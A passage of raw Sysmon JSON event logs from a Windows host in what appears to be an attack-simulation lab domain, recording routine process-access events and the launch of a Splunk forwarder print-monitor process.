C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4028,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4029,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4030,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4031,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4032,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-40C4-5F2D-0000-001077B50500}\r\nTargetProcessId: 4572\r\nTargetImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-40C4-5F2D-0000-001077B50500}","TargetProcessId":"4572","TargetImage":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4033,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:41.714\r\nProcessGuid: {90617006-40C5-5F2D-0000-001068B80500}\r\nProcessId: 5044\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Windows Print Monitor \r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-winprintmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:53:41.714","ProcessGuid":"{90617006-40C5-5F2D-0000-001068B80500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","FileVersion":"8.0.2","Description":"Windows Print Monitor ","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-winprintmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:53:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4034,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:41.713\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-40C5-5F2D-0000-001068B80500}\r\nTargetProcessId: 5044\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:41.713","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-40C5-5F2D-0000-001068B80500}","TargetProcessId":"5044","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4035,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:41.713\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-40C5-5F2D-0000-001068B80500}\r\nTargetProcessId: 5044\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 